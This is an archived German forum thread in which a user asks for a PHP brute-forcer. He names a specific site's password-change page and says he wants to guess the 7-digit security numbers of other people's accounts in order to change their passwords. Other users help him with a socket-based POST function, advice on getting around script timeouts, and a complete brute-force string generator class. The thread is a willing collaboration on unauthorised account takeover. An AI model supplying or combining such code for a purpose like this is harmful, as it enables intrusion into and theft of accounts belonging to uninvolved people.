PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : PHP bruter?



113puma
10.07.2009, 16:52
tach
ich hätte mal eine farge ist es möglich mit php einen bruter zu schreiben ?
wenn ja kann man dies gezielt auf einer bestimmten website ausführen?
und ist es möglich das der bruter bestimmte eingaben automatisch in ein bestimmtes feld eingibt?

IRET
10.07.2009, 16:59
Ja ist möglich.
Hier ein Snippet für Post per Sockets:


function PostToHost($host, $path, $referer, $data_to_send) {
$fp = fsockopen($host, 80);
printf("Open!\n");
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ". strlen($data_to_send) ."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data_to_send);
printf("Sent!\n");
while(!feof($fp)) {
$res .= fgets($fp, 128);
}
printf("Done!\n");
fclose($fp);

return $res;
}

$data = "pid=14&poll_vote_number=2";

printf("Go!\n");
$x = PostToHost(
"www.linux.com",
"/polls/index.phtml",
"http://www.linux.com/polls/index.phtml?pid=14",
$data
);Und den Rest machst du mit sql am besten(Wordlist usw)


Credits to PHP-faq.de

113puma
10.07.2009, 17:13
ich blick durch das script nicht ganz durch
ich bräuchte für die seite http://longjuyt2.com/ChangePSD.php den bruter da ich pws ändern möchte nur von einigen habe ich die 7 stellige sicherheitsnummer nicht
(<input maxlength=7 name=srcno size=7> das ist das feld)
diese würde ich gern bruten

//edit ich bracuhe ertmal nur einen acc

CreativeFrags
11.07.2009, 13:06
kriegst aber warscheinlich nach ner minute oder so n timeout weil die seite zu lang läd oder nicht?

musst iwie die timeoutzeit hochsetzen...
hab den command vergessen.. oder per fortschrittsbalken..

>> http://www.bongard.net/blog/2007/04/18/php-progressbar_fortschrittsbalken/

dlite
11.07.2009, 13:09
bruter per php ist sowieso nicht zu empfehlen, weil php skripte bei manchen anbietern auf eine bestimmte lauflänge begrenzt sind. Funpic sind 15 sekunden das reicht niemals aus um ein pw zu bruten.

blackberry
11.07.2009, 13:45
Man kann PHP Skripte auch im CLI Modus bereiben, dh. lokal ausführen.
Tut man dies hat man selbstverständlich auch vollen Zugriff auf die PHP.INI und kann solche Werte wie Timeout usw. selbst setzen.

Ein echtes Gegenargument für Bruter in PHP wäre, dass PHP Skripte allgemein eine hohe Laufzeit besitzen und daher nicht dafür konzepiert sind viele Passwörder oÄ. in wenig Zeit auszutesten.


mfG. BlackBerry

113puma
11.07.2009, 15:49
was könntet ihr denn empfehlen? es sollte nur eine 7 steligge nummer sein um ein pw zu ändern

Overhead
19.07.2009, 14:46
<?php

class brute_force
{
var $callback_break = false;
var $min = 0;
var $max = 0;
var $callback = "";
var $_error = "";
var $_chars = array();

function brute_force($callback, $min, $max, $chars="all")
{
$this->min = $min;
$this->max = $max;
$this->callback = $callback;

if(!is_int($this->min) || $this->min < 1)
{
$this->_error = "Invalid number for minimum characters";
return false;
}
elseif(!is_int($this->max) || $this->max < $this->min)
{
$this->_error = "Invalid number for maximum Characters";
return false;
}
elseif(!is_callable($this->callback))
{
$this->_error = "Callback function is not callable";
return false;
}

$c['lower'] = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
$c['upper'] = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z");
$c['num'] = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9");

if(is_array($chars))
{
$this->_chars = array_unique($chars);
sort($this->_chars);
}
else
switch(strtolower($chars))
{
case "lower":
case "upper":
case "num":
$this->_chars = $c[$chars];
break;

default:
case "alnum":
$this->_chars = array_merge($c['lower'], $c['upper'], $c['num']);
break;

case "lalnum":
$this->_chars = array_merge($c['lower'], $c['num']);
break;

case "ualnum":
$this->_chars = array_merge($c['upper'], $c['num'],$c['lower']);
break;
}
}

function errormsg()
{
if($this->_error == "")
return false;
else
return $this->_error;
}

function search()
{
if(!$this->errormsg())
{
$iteration = 0;
$flags = array();
$total_chars = count($this->_chars);
$lendone = "";
$total_strings = "";
$current_string = "";
$first_string = "";
for($i = 0; $i < ($this->max + 1); $i++)
$flags[$i] = -1;

for($i = 0; $i < $this->max; $i++)
$total_strings .= $this->_chars[$total_chars - 1];

for($i = 0; $i < $this->min; $i++)
$flags[$i] = $this->_chars[0];

$i = 0;
while($flags[$i] != -1)
{
$first_string .= $flags[$i];
$i++;
}
$start = true;
$iteration++;
if(!(call_user_func($this->callback, $first_string, $iteration) && $this->callback_break))
while(true)
{
for($i = 0; $i < ($this->max + 1); $i++)
if($flags[$i] == -1)
break;
$i--;
$lendone = 0;
while(!$lendone)
{
for($j = 0; $j < $total_chars; $j++)
if($flags[$i] == $this->_chars[$j])
break;

if($j == ($total_chars - 1))
{
$flags[$i] = $this->_chars[0];
$i--;
if($i < 0)
{
for($i = 0; $i < ($this->max + 1); $i++)
if($flags[$i] == -1)
break;

$flags[$i] = $this->_chars[0];
$flags[$i + 1] = -1;
$lendone = 1;
}
}
else
{
$flags[$i] = $this->_chars[$j + 1];
$lendone = 1;
}
}
$i = 0;
$current_string = "";
while($flags[$i] != -1)
{
$current_string = $current_string . $flags[$i];
$i++;
}
$iteration++;
if((call_user_func($this->callback, $current_string, $iteration) && $this->callback_break) || $current_string == $total_strings)
break;
}
}
else
return false;
}
}
?>


n alter code, den ich mal etwas optimiert hatte. vllt hilft er dir weiter.